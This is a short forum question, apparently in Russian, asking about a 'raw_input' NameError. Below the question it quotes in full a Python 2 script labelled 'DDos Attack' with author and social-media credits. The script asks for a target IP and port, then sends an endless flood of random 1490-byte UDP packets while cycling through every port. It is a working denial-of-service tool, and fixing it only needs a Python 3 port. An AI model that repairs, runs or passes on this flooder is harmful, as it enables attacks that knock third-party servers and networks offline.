Что за ошибка?NameError: name 'raw_input' is not defined

import sys
import os
import time
import socket
import random
#Code Time
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year

##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############

os.system("clear")
os.system("figlet DDos Attack")
print
print "Author : HA-MRX"
print "You Tube : https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA"
print "github : https://github.com/Ha3MrX"
print "Facebook : https://www.facebook.com/muhamad.jabar222"
print
ip = raw_input("IP Target : ")
port = input("Port : ")

os.system("clear")
os.system("figlet Attack Starting")
print "[ ] 0% "
time.sleep(5)
print "[===== ] 25%"
time.sleep(5)
print "[========== ] 50%"
time.sleep(5)
print "[=============== ] 75%"
time.sleep(5)
print "[====================] 100%"
time.sleep(3)
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
if port == 65534:
port = 1